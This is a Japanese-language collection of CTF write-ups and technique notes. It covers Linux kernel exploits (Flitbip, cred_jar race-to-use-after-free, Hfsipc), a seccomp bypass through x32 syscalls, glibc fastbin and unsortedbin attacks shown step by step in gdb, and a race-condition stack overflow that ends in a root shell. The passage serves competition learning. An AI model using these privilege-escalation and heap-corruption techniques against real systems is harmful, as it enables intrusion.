CTFでのLinuxのユーザランド以外の問題についてまとめる
はじめに
これはCTF Advent Calendar 2019の1日目です。執筆時点でまだまだたくさん空きがあるので、埋めていきましょう。 adventar.org
CTFで出題されたユーザランドでの簡単な問題を除く少し特殊な問題についてまとめる。 とりあえず、まとめられるだけまとめて後からこの系統の問題はどうすればいいか足掛かりになりそうな情報やリンクを自分のためにまとめた。
時間が全然足りないので、とりあえず2019年に出題されたものを中心にまとめた。時間ができれば追記する予定である。
インデックス
- Linux Kernel
- QEMU, VirtualBox
- Browser, JavaScript Engine
- Interpreter
Linux Kernel
1118daysober from Insomni'hack teaser 2019
CVE-2015-8966。armのlinux kernelにおいて、あるシステムコールの処理の最中にfsをkernel dsに変更するが、元のユーザのものに戻さずに終了するバグが存在した。これを利用すると、ユーザランドからカーネルランドに対して任意の読み書きが可能になる。
p4fmt from CONFidence CTF 2019 Teaser
独自フォーマットの実行バイナリを実行するカーネルモジュール
Hfsipc from Midnight Sun CTF 2019 Quals
ノート管理するカーネルモジュール。作成時にoff-by-oneのオーバーフローがあるので、それを利用して、解法済みのチャンクに存在するリンクを破壊し、AAW/AARを作る。
hack_me from * CTF 2019
ノート管理系のカーネルモジュール。読み書き時にオフセットとサイズを指定するが、そのチェックが甘く、想定される領域外も読み書き可能。
Brainfuck64 from Security Fest 2019
kpets from Facebook CTF 2019
Fast&Furious, Fast&Furious2 from 0CTF/TCTF 2019 Finals
KrazyNote from Balsn CTF 2019
PoE II - Cord from HITCON CTF 2019 Quals
PoE III - TPU from HITCON CTF 2019 Quals
- binary
Browser, JavaScript Engine
oob-v8 from * CTF 2019
speedrun-012 from DEF CON CTF Qualifier 2019
JSエンジンであるduktapeにバグを仕込まれている。
Exploit 400 ChakraCore from Trend Micro CTF 2019 - Raimund Genes Cup - Online Qualifier
Appetizer from Real World CTF 2019 Quals
ChakraCore
accessible from Real World CTF 2019 Quals
v8
Interpreter
Rust Jail from SpamAndFlags Teaser 2019
Rustのコードをビルドして実行してくれる。unsafeが使用できない。flagファイルの中身を読めれば勝ちで、マクロの include_str!
を使う。
plang from 0CTF/TCTF 2019 Quals
JSに似た独自言語のインタプリタ。配列の添字のチェックが甘く、負数を入れるとout-of-boundsが発生する
Gomium Browser from Google CTF 2019 Finals
Golangで書かれたソースコードをビルドして実行してくれる。fmtしかimportできない制限下で電卓を起動する問題。Golangには、sliceなどにlockがなくdata raceを起こせるので、それを用いてメモリ破壊を起こし任意コード実行に持ち込む。
MAL from SECCON 2019 Online CTF
Rustの実行系の内部で使われるallocate/deallocateが独自に書き直されている。制限がかかった状況で、こちらのRustのコードをビルドして実行してくれるので、メモリ破壊を起こして任意コード実行に持ち込む。 lockがないので、適当に2つのスレッドでmallocをさせると、両方のスレッドで同じ領域を取ることができた。
Midnight Sun CTF 2019 Quals writeup
はじめに
Gissa2、 Hfsipc、 Hfs-dosを解いた。 どれも良い問題だったと思う。
Gissa2
stack overflowがあり、 canaryがないのでropができる。 しかしseccomp filterによってシステムコールに制限がかかっている。 設定されるフィルターは以下の通りで、 open/openat/ execve/execeatが塞がれておりフラグを開いたりシェルを立ち上げることができない。
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003 0002: 0x06 0x00 0x00 0x00000000 return KILL 0003: 0x20 0x00 0x00 0x00000000 A = sys_number 0004: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0006 0005: 0x06 0x00 0x00 0x00000000 return KILL 0006: 0x15 0x00 0x01 0x00000038 if (A != clone) goto 0008 0007: 0x06 0x00 0x00 0x00000000 return KILL 0008: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0010 0009: 0x06 0x00 0x00 0x00000000 return KILL 0010: 0x15 0x00 0x01 0x0000003a if (A != vfork) goto 0012 0011: 0x06 0x00 0x00 0x00000000 return KILL 0012: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0014 0013: 0x06 0x00 0x00 0x00000000 return KILL 0014: 0x15 0x00 0x01 0x00000055 if (A != creat) goto 0016 0015: 0x06 0x00 0x00 0x00000000 return KILL 0016: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0018 0017: 0x06 0x00 0x00 0x00000000 return KILL 0018: 0x15 0x00 0x01 0x00000142 if (A != execveat) goto 0020 0019: 0x06 0x00 0x00 0x00000000 return KILL 0020: 0x06 0x00 0x00 0x7fff0000 return ALLOW
フィルターをバイパスする方法は単純でx32の方のシステムコールを呼ぶ。 システムコールを呼ぶ際に設定するシステムコール番号を+0x40000000すると、 x32として扱われる。 x32でopenを呼ぶ場合は、 システムコール番号は2+0x40000000で良い。 この時上記のseccomp filterでのsys_numberの制限に引っかかることはない。
x64におけるx32でのシステムコールについては下記のリンクに詳細がある。
RFD: x32 ABI system call numbers [LWN.net]
exploit
システムコールの制限は回避可能なので、 フラグを開いて中身を読むだけである。 Midnight Sun CTF 2019 Quals Gissa2 · GitHub
Hfsipc
Linuxのkernel exploit。
脆弱なLKMがロードされているので、 これを攻略する。
ioctlで諸々の操作ができ、 kernel heap上にオブジェクトを作ったり破棄したり編集したりできる。
扱うオブジェクトの構造は以下のようになっていた。
どのオブジェクトを操作するのかをkey
で指定する。
buf
は、 オブジェクトを作成するときに指定するサイズで確保したkmalloc()の返り値が入る。
size
にそのサイズが入る。
struct obj { long key; char* buf; long size; };
ioctl()経由で、 オブジェクトのbuf
の中身を読み書きできる。
書き込む際に、 作成したサイズよりも1byte多く書き込むことができるのでoff-by-one overflowとなっている。
exploit
linux kernelで使用されるSLUB allocatorでは、 解放済みのチャンクがリンクドリストで繋がっている。 off-by-one overflowを利用すると、 リンクドリストのポインタの最下位1byteを書き換えることができる。 これを利用して、 kmalloc()で取得する領域をuserlandに強制することができる。 あとは適当にkernelspaceのアドレスをリークして、 modprobe_pathを改変してrootを取った。
Midnight Sun CTF 2019 Quals Hfsipc · GitHub
Hfs-dos
改変されたCOMMAND.COM
が動作するFreeDOS。
COMMAND.COM
では、 入力した文字列に対応する文字列を返すようになっている。
削除文字(0x7f)を入力すると、 こちらからの入力を保存するバッファへのポインタをデクリメントすることができる。
このデクリメントに制限がなく、 COMMAND.COM
のtext領域まで持っていくことができる。
古い時代のアーキテクチャ(i8086)で動作している、 かつ古のOSであるため、 メモリの保護機構など存在せずtext領域でも書き換えることが可能となっている。
exploit
jmpする先を改変し、 文字列FLAG1をFLAG2に改変した。
jmpする先は、 COMMAND.COM
が最初にFLAG1を表示する関数群へと変えており、FLAG1をFLAG2にしているので、 2つ目のフラグを得られる。
Midnight Sun CTF Finals Flitbip writeup
はじめに
一人writeup advent calendarの7日目です。 1日1問分のwriteupを目標に頑張っていきます。 7日目の問題は、Midnight Sun CTF Finalsで出題された「Flitbip」。 初めての人にオススメです。
カーネルの情報 (セキュリティ機構など)
カーネルのバージョンは、4.17。 smep, smap、kaslr、kptiが無効になっている。
/ $ uname -a Linux (none) 4.17.0 #1 Fri Jun 15 18:23:33 CEST 2018 x86_64 GNU/Linux / $ cat /proc/cpuinfo | grep flags flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx lm nopl cpuid pni cx16 hypervisor lahf_lm svm 3dnowprefetch vmmcall
解析
この問題では脆弱性を持つシステムコールが新しく追加されている。 親切にも、新しいシステムコールのソースコードが存在するので、カーネルのバイナリを解析する必要は特にない。 システムコールは、引数で指定したアドレスの指定したビットを反転できる。 しかし反転できる回数に制限があり、flit_countがMAXFLIT(=1)以上の場合ビットを反転させることができない。
#include <linux/kernel.h> #include <linux/init.h> #include <linux/sched.h> #include <linux/syscalls.h> #define MAXFLIT 1 #ifndef __NR_FLITBIP #define FLITBIP 333 #endif long flit_count = 0; EXPORT_SYMBOL(flit_count); SYSCALL_DEFINE2(flitbip, long *, addr, long, bit) { if (flit_count >= MAXFLIT) { printk(KERN_INFO "flitbip: sorry :/\n"); return -EPERM; } *addr ^= (1ULL << (bit)); flit_count++; return 0; }
exploit
kaslrがないため、カーネルがロードされいているアドレスは固定である。 よって、.text、.data、.bssといった領域が存在するアドレスは固定となっている。
まずは、そのままでは1度しかビット反転させることができないので、flit_countの最上位ビットを反転させ、ビット反転の回数の条件を解決する。 最上位ビットを反転させて1を立てることで、flit_countは負数となり、符号付の比較を突破でき、複数回のビット反転が可能になる。
任意の箇所に複数回のビット反転が行えるので、書き込み可能でグローバルな領域に存在する関数テーブルを書き換えていく。 最近のLinuxカーネルexploit問に対するテクニック集3 - HackMD によると、n_tty_opsという関数テーブルが書き込み可能でグローバルである。 smepが無効となっているので、ユーザ空間に諸々の処理を行う関数へとn_tty_opsのreadを向けさせる。
root権限を取るまでの流れだが、基本に忠実にcredのuid系の値を全て0で書き換える方針を取った。 current_taskは、現在実行しているタスクのtask_structを指していており、グローバル変数である。 current_task->cred->uidといった感じで参照していくことで、uidを書き換えられる。
最近のCTFで出題されるglibc heap問で個人的によく使うテクニックについて
はじめに
これは CTF Advent Calendar 2018 - Adventar の8日目の記事です。 7日目は、@bata_24 さんの 「WCTF 2018 - klist Writeup - HackMD 」でした。
この記事は、タイトル通りに私が個人的に「よく使うなぁ・他のwriteupでよく見るなぁ」と感じたテクニックの紹介です。 ですが紹介なので、glibc heapの挙動について詳細な説明は特にしないです。 テクニックが何故通用するのかは各自でソースコード読んで理解してください。 また、glibcのバージョンによっては通用しないものもあるので注意してください。 テクニックの名前自体はクソ適当です。
fastbin attack with 0x70 chunk
概要
結構前から汎用的に使われているテクニック。 fastbinに繋がれたチャンクをmalloc()などで取り出す時に、チェックが甘いことに起因する。 libcのdata, bssにあるデータを利用して、その付近のメモリをmalloc()で取得するテクニック。
使用条件
- UAFやheap bofなどで、free済みのチャンクのfdを任意に制御できる
- 0x59から0x68までのサイズでmalloc()を呼べる
- libcのアドレスが分かっている(これが絶対かは問題による)
やり方
x64のlinuxでは、libcなどのライブラリが配置されるアドレスは、0x7fXX_XXXXXXXX
となっている。
アドレスをズラして見ると、0x7f
と見ることができ、fastbinに繋げられるchunkのsizeとしてvalidになる。
つまり、fastbin関連のチェックをすり抜けられる。
__malloc_hook
をターゲットとした例を説明する。
今回の__malloc_hook
が存在するアドレスは、0x7ffff7dd1b10
となっている。
それよりも前のメモリがどうなっているか調べると、いくつか0x7fXX_XXXXXXXXと
なる値が存在する。
これを数byteズラして見ると、0x7fをサイズとして利用できる。
__malloc_hookのアドレス gdb-peda$ p &__malloc_hook $3 = (void *(**)(size_t, const void *)) 0x7ffff7dd1b10 <__malloc_hook> 適当に数byte前を見てみる gdb-peda$ x/8gx 0x7ffff7dd1b10-0x20 0x7ffff7dd1af0 <_IO_wide_data_0+304>: 0x00007ffff7dd0260 0x0000000000000000 0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x00007ffff7a92a00 0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000000000000000 適当にズラして0x7fとする gdb-peda$ x/8gx 0x7ffff7dd1b10-0x20-3 0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f 0x7ffff7dd1afd: 0xfff7a92e20000000 0xfff7a92a0000007f 0x7ffff7dd1b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000 0x7ffff7dd1b1d: 0x0000000000000000 0x0000000000000000
今、0x70のチャンクがfastbinに繋がっている。
このチャンクのfdに先ほどのアドレス(0x7ffff7dd1aed
)を書き込み、リストに繋げる。
そしてmalloc()していくと、その領域を取ることができる。
sizeが0x70のchunkが1つ存在しfreeされて、fastbinに繋がっている。 gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x602000 --> 0x0 (0x80) fastbin[6]: 0x0 top: 0x6020e0 (size : 0x20f20) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 そのchunkのfdを、uafなどで上書きできたと想定して、先ほどのアドレスを書き込む gdb-peda$ set {long}0x602010=0x7ffff7dd1aed エラーと言われるが気にしない gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x602000 --> 0x7ffff7dd1aed (size error (0x78)) --> 0xfff7a92e20000000 (invaild memory) (0x80) fastbin[6]: 0x0 top: 0x6020e0 (size : 0x20f20) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 先ほどのメモリがmalloc()で返ってくる gdb-peda$ call malloc(0x68) $5 = (void *) 0x602010 gdb-peda$ call malloc(0x68) $6 = (void *) 0x7ffff7dd1afd
unsotedbin attack to libc data region
概要
これも結構前からあるテクニック。
unsortedbin attackは、結果として任意の箇所に0x7fXX_XXXXXXXX
となる値を書き込むことができるが、どこに対して書き込むのかという話。
stdin/stdoutのバッファのポインタを書き換えて、バッファの範囲を変えると良い。
前提条件
- unsortedbin attackができる
- libcのアドレスが分かっている
やり方
よくやる/見るのが、stdinが持つbufのポインタに対して。
pwnで出題されるバイナリは、入出力のバッファリングを無効にしているケースが多い。
無効といっても、stdin/stdoutが持つメンバである_shortbuf
をバッファとして使用している。
scanf()などが呼ばれると、_shortbuf
にデータが書き込まれている。
バッファを指すポインタをunsortedbin attackで上書きして、バッファと見なす範囲を広げて不正に上書きできる状態を作り出すのが、このテクニックの肝である。
例を上げて流れを説明する。
例では、stdinの_IO_write_end
をunsortedbin attackで上書きする。
setbuf(stdin, NULL)を実行した後のstdinの状態は以下のようになっている。
read/write用のバッファは、stdinの内部に持っている_shortbuf
を指している。
gdb-peda$ x/32gx 0x7ffff7dd18e0 0x7ffff7dd18e0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007ffff7dd1963 0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x00007ffff7dd1963 0x00007ffff7dd1963 0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x00007ffff7dd1963 0x00007ffff7dd1963 0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x00007ffff7dd1963 0x00007ffff7dd1963 0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x00007ffff7dd1964 0x0000000000000000 0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff 0x7ffff7dd1960 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x00007ffff7dd3790 0x7ffff7dd1970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000 0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0 0x0000000000000000 0x7ffff7dd1990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd19a0 <_IO_2_1_stdin_+192>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd19b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dd06e0 0x7ffff7dd19c0 <_IO_wide_data_0>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd19d0 <_IO_wide_data_0+16>: 0x0000000000000000 0x0000000000000000 gdb-peda$ p *(struct _IO_FILE *) 0x7ffff7dd18e0 $5 = { _flags = 0xfbad208b, _IO_read_ptr = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", _IO_read_end = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", _IO_read_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", _IO_write_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", _IO_write_ptr = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", _IO_write_end = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", _IO_buf_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", _IO_buf_end = 0x7ffff7dd1964 <_IO_2_1_stdin_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0x0, _flags2 = 0x0, _old_offset = 0xffffffffffffffff, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x7ffff7dd3790 <_IO_stdfile_0_lock>, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x7ffff7dd19c0 <_IO_wide_data_0>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0x0, _unused2 = '\000' <repeats 19 times> }
今、0x110byteのサイズを持つチャンクがunsortedbinに繋がっている。
このチャンクのbkを書き換えて、malloc(0x100)を実行すると、unsortedbin attackが発生する。
stdinの内部に書き込まれた0x7ffff7dd1b78
をバッファの終端として使用するようになるため、大きくlibcの中身に書き込める状態を作れた。
unsortedbinが1つ存在している。 gdb-peda$ parseheap addr prev size status fd bk 0x602000 0x0 0x110 Freed 0x7ffff7dd1b78 0x7ffff7dd1b78 bkを上書きする gdb-peda$ set {long}0x602018=0x7ffff7dd1910 gdb-peda$ parseheap addr prev size status fd bk 0x602000 0x0 0x110 Freed 0x7ffff7dd1b78 0x7ffff7dd1910 malloc()を呼んで、unsortedbin attackを起こす gdb-peda$ call malloc(0x100) $7 = (void *) 0x602010 stdinの状態を確認すると、_IO_buf_endが書き換わっている。 gdb-peda$ x/20gx 0x7ffff7dd18e0 0x7ffff7dd18e0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007ffff7dd1963 0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x00007ffff7dd1963 0x00007ffff7dd1963 0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x00007ffff7dd1963 0x00007ffff7dd1963 0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x00007ffff7dd1963 0x00007ffff7dd1963 0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x00007ffff7dd1b78 0x0000000000000000 gdb-peda$ p *(struct _IO_FILE *) 0x7ffff7dd18e0 $8 = { _flags = 0xfbad208b, _IO_read_ptr = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", _IO_read_end = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", _IO_read_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", _IO_write_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", _IO_write_ptr = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", _IO_write_end = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", _IO_buf_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", _IO_buf_end = 0x7ffff7dd1b78 <main_arena+88> "\200!`",
_IO_str_jumps
stdin/stdoutなどにはvtableのポインタがあり、制御を奪取する際の狙い目である。
そのためかポインタが正常なものかチェックが入るようになった。
回避方法として、_IO_str_jumps
は手軽で汎用性が高い。
詳しくは以下のリンク先を参照
おわりに
ということで、以上が個人的によく使うテクニックでした。
明日は、@N4NU さんの「各種OSのUserlandにおけるPwn入門」です。 windowsやlinux以外のosについても紹介されそうなタイトルで、楽しみですね。
あと宣伝ですが、1人1日1writeup advent calendarというのを細々とやっています。 そちらも良かったら読んでいってください。 ただ既にwriteupのストックはないし、修論などで禿げそうなのでadvent calendarは失敗しました。
0CTF 2017 Finals cred_jar writeup
はじめに
一人writeup advent calendarの6日目です。 1日1問分のwriteupを目標に頑張っていきます。 6日目の問題は、0CTF 2017 Finalsで出題された「cred_jar」。 race conditionを起点としたkernel exploit問題で初めての人にオススメです。
カーネルの情報 (セキュリティ機構など)
カーネルのバージョンが4.12で、smep, kaslrが有効になっている。
kernel exploitでよく使われる/dev/ptmx
が存在しない。
% cat boot.sh #!/bin/bash qemu-system-x86_64 -initrd rootfs -kernel bzImage -append 'console=hvc0 root=/dev/ram rdinit=/linuxrc oops=panic panic=1 quiet kaslr' -m 128M -chardev stdio,id=k33n -device virtio-serial -device virtconsole,chardev=k33n -display none -monitor none -smp cores=1,threads=1 -cpu kvm64,+smep [in qemu] / $ uname -a Linux (none) 4.12.0-rc1 #25 SMP Fri May 26 16:51:03 CST 2017 x86_64 GNU/Linux / $ cat /proc/cpuinfo | grep flags flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx lm constant_tsc nopl cpuid pni cx16 hypervisor smep / $ ls /dev/ console cred_jar
解析
攻略対象のデバイスは/dev/cred_jar
。
デバイスに対する操作は以下のように定義されている。
struct file_operations cred_jar_fops = {
.open = cred_jar_open,
.release = cred_jar_release,
.read = cred_jar_read,
.write = cred_jar_write,
.ioctl = cred_jar_ioctl
};
cred_jar_ioctl()がメインとなっている箇所で、指定するcmdによって下の構造体jarに関する操作が行える。 行える処理は、0x7401:alloc、0x7402:get、0x7403:get id、0x7404:change id、の4つである。 file構造体のprivate_dataで、jarへのポインタを保存している。
allocは、指定したサイズとjar構造体の大きさの合計でkamlloc()して領域を確保する。 確保したら、メンバを適切に初期化して、リンクドリストに繋ぎ、private_dataにポインタを入れる。
id指定で、jarを選択する。指定したidを持つjarが存在したら、private_dataにポインタを入れる。 一度getすると、他のjarを選び直すことはできない。 read/writeは、選択したjarのbufを読み書きできる (bofはない)。
get idとchange idはそのままの処理。get idは選択しているjarのidを得られる。change idは選択しているjarのidを変更できる。
refcountはそのjarへの参照数である。 allocした時点で、参照数は1。 getされたら参照数は増えて、jarを選択しているfdがclose()されたら参照数は減る。
struct jar { int refcount; int id; struct jar *next; struct jar *prev; unsigned long size; char buf; };
exploit
getはget_cred_jar_ctx()が実行され、close()するときにはput_cred_jar_ctx()が実行される。
struct jar* get_cred_jar_ctx(int id) { struct jar* ptr; mutex_lock(&ctx_lock); if ( ctx_list != &ctx_list ) { ptr = ctx_list; while(1) { if (ptr == &ctx_list) break; if (ptr->id == id ) { _InterlockedIncrement(ptr->count); break; } ptr = ptr-next; } } ptr = 0LL; mutex_unlock(&ctx_lock); return ptr; } int put_cred_jar_ctx(struct jar *jar) { if (jar) { if (!_InterlockedDecrement(jar->count)) { mutex_lock(&ctx_lock); // ここにunlinkの処理 mutex_unlock(&ctx_lock); kzfree(a1); } } return 0; }
put_cred_jar_ctx()は、refcountをデクリメントし0になった場合 (他からも参照されていない状態)、kfree()を実行する。 しかし、refcountの確認をした後にmutex_lock()が走るので、race conditionとなる可能性がある。
対してget_cred_jar_ctx()は、まずmutex_lock()が走る。 ロック後に、指定したidを持つjarをリストを辿って検索する。 指定のidを持つjarが見つかったら、refcountをインクリメントする。 そしてreturnする前にmutex_unlock()が走る。
put_cred_jar_ctx()とget_cred_jar_ctx()を上手く使うことで、参照している状態にあるjarをkfree()することができる。
race conditionが発生してkUAFとなる具体的な流れを詳しく説明する。
ここで、get_cred_jar_ctx()にて目的のidを持つjar X
を探索している途中に、jar X
を参照するfdがclose()されてput_cred_jar_ctx()が実行されたと仮定する。
jar X
はclose()したfdだけが参照している状態、つまりrefcountは1であるとする。
get_cred_jar_ctx()でmutex_lock()が実行されているが、put_cred_jar_ctx()のmutex_lock()は_InterlockedDecrement()後にあるため、jar X
を参照するrefcountのデクリメント自体は問題なく実行される。jar X
のrefcountは元々1だったので、デクリメントされて0になる。jar X
をリンクドリストから外しkfree()を実行する方向へ分岐が進むが、mutex_lock()があるため、get_cred_jar_ctx()の処理が終わるまで、put_cred_jar_ctx()を実行しているスレッドは待機する。
get_cred_jar_ctx()ではjar X
を見つけて、mutex_unlock()が走り、file->private_dataにjar X
へのポインタが格納される。
もう片方のput_cred_jar_ctx()では、mutex_lock()の停止から復帰してkfree()が実行される。
しかしjar X
への参照はget側で残ったままなので、kUAFとなる。
雑に説明すると、同じjarに対して、スレッドAでget_cred_jar_ctx()、スレッドBでput_cred_jar_ctx()を実行すると、スレッドAでgetしたjarがなぜか知らないうちにkfree()されているという感じ。
SLUBアロケータでは、kfree()したチャンクの先頭8byteはfree済みのチャンクを繋ぐためのポインタになっている。 そのためkUAFが起きた場合、idには設定したものと異なる値が入っているので、idを確認して違う値だった場合はrace conditionに成功してkUAFが起きたと判断できる。
race conditionを起こしてkUAFが起こせるので、別のオブジェクトをラップさせてroot権限を取っていく。
まずはカーネルのアドレスのリークを狙う。
今回のカーネルは、/dev/ptmx
がいないので、共有メモリのshmget()を呼んだときに割り当てられるfile構造体を使用した。
file構造体はkmalloc-256から取られるので、alloc_cred_jar()に渡すサイズは256-0x20にする。(関連する部分のコードは次のリンク先に Linux source code: ipc/shm.c (v4.12) - Bootlin, Linux source code: fs/file_table.c (v4.12) - Bootlin)_
file構造体のf_opからカーネルのベースアドレスを求めることができ、さらにf_opを書き換えれば制御の奪取が可能である。 smapは無効なので、ユーザ空間に偽のfile_operationsを用意できる。
struct file { union { struct llist_node fu_llist; struct rcu_head fu_rcuhead; } f_u; struct path f_path; struct inode *f_inode; /* cached value */ const struct file_operations *f_op; // このポインタの値を知ればカーネルのベースアドレスが求まるし、書き換えれば制御が奪える。 以下省略
偽のfile_operationsのioctlに、ユーザ空間へとstackをpivotするガジェットを入れてropした。 pivot先に目的のrop chainを用意しておきcommit_creds(prepare_kernel_commit(0))を実行して、root権限を取った。
CODE GRAY CTF sured writeup
はじめに
一人writeup advent calendarの5日目です。1日1問分のwriteupを目標に頑張っていきます。 5日目の問題は、CODE GRAY CTFで出題された「sured」。race conditionを使った問題で初めての人にオススメです。
初期調査
セキュリティ機構は以下の通りで、特筆すべきところはcanaryがなくstackでbofがあれば、簡単に制御を奪えること。
[root@ubuntu] ~/ctf/CODEGLAY/sured # checksec ./23016_sured [*] '/root/ctf/CODEGLAY/sured/23016_sured' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
解析
実行するとこちらからの入力を受け付けており、入力した文字列を返してくる。
LEAVE
という文字列を送ると処理が終了する。
[root@ubuntu] ~/ctf/CODEGLAY/sured # ./23016_sured Hello, visitor. Leave your comment! comment: hoge Your comment: hoge comment: hogehoge Your comment: hogehoge comment: LEAVE Your comment: LEAVE Goodbye visitor!
このバイナリは、起動してからスレッドを1つ作成している。 メインをスレッドA、作成したもう片方をスレッドBとすると、それぞれのスレッドは以下の処理を行う。
スレッドAは、標準入力から文字列を読み込む。 読み込んだ文字列はstd::stringとして保存され、文字列の長さをbss領域に保存する。 文字列の読み込みと長さの保存をループで繰り返すようになっている。
スレッドBでは、入力された文字列がLEAVEで始まるかどうか確認している。 bssに保存されている文字列の長さによって、文字列をstackにコピーする処理が異なっている。 長さが0x100byte以下なら、長さ分だけコピーし、0x100byteより大きいなら、0x100byteだけコピーする。 コピーされた文字列がLEAVEで始まる場合、全体の処理を終える。
重要な処理だけのコードは以下のようになっていた。
std::string buf; int n; int thread(void) { char dest[0x100]; do { char* data = buf.data(); if (n <= 0x100) { memcpy(dest, data, n); } else { qmemcpy(dest, data, 0x100); } } while(strncmp(dest, "LEAVE", 5)); return 1; } int main(void) { int result = 0; // threadを開始する処理、threadの返り値がresultに入る。 std::thread::_M_start_thread(); ????? std::cout << "Hello, visitor. Leave your comment!" << std::endl; while(result) { std::cout << "comment: " << std::endl; std::cin >> buf; n = buf.length(); std::cout << "Your comment: " << buf.data() << std::endl; } std::cout << "Goodbye visitor!" << std::endl; return 0; }
exploit
各スレッドでは文字列とその長さを扱っているが、それぞれの処理で文字列に対するロックがないためrace conditionが発生する。 race conditonを起こすには以下のようにして長い文字列と短い文字列を交互に送信する。
- はじめに0x100byte以下の短い文字列を入力する。
- スレッドBで長さのチェックが行われる。入力文字列が0x100byte以下であるため、文字列の長さnでmemcpy()が実行される方へと分岐する。
- 長さのチェックが終わってからmemcpy()が実行されるまでの間に、0x100byteを超える長い文字列を入力する
- チェック後のnが書き換わり0x100byteを超えた値で、memcpy()が実行される。
- stackに用意された配列は0x100byteなので、それ以上の大きさだとstack overflowとなる。
race conditionが上手く行くかどうかネットワークの状況により、成功率は高くない。 リモートではたまたま1度だけ上手く行った時にフラグを取ることができた。
[root@ubuntu] ~/ctf/CODEGLAY/sured # python exploit.py [*] '/root/ctf/CODEGLAY/sured/23016_sured' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Starting local process './23016_sured': pid 12741 [*] Pwning [*] Switching to interactive mode Hello, visitor. Leave your comment! comment: Your comment: 1 comment: Your comment: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx$ xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx comment: (長いので省略) Your comment: LEAVE comment: $ id uid=0(root) gid=0(root) groups=0(root)
フラグ: FLAG{h4v3_4_v4ri0us_p3r5p3ct1v3_v13w_c4n_f17d_bu9}
Sharif CTF 2018 kdb writeup
はじめに
一人writeup advent calendarの4日目です。1日1問分のwriteupを目標に頑張っていきます。 4日目の問題は、Sharif CTF 2018で出題された「kdb」。kUAF (kernel Use After Free) を起点としたkernel exploit問題で初めての人にオススメです。
カーネルの情報 (セキュリティ機構など)
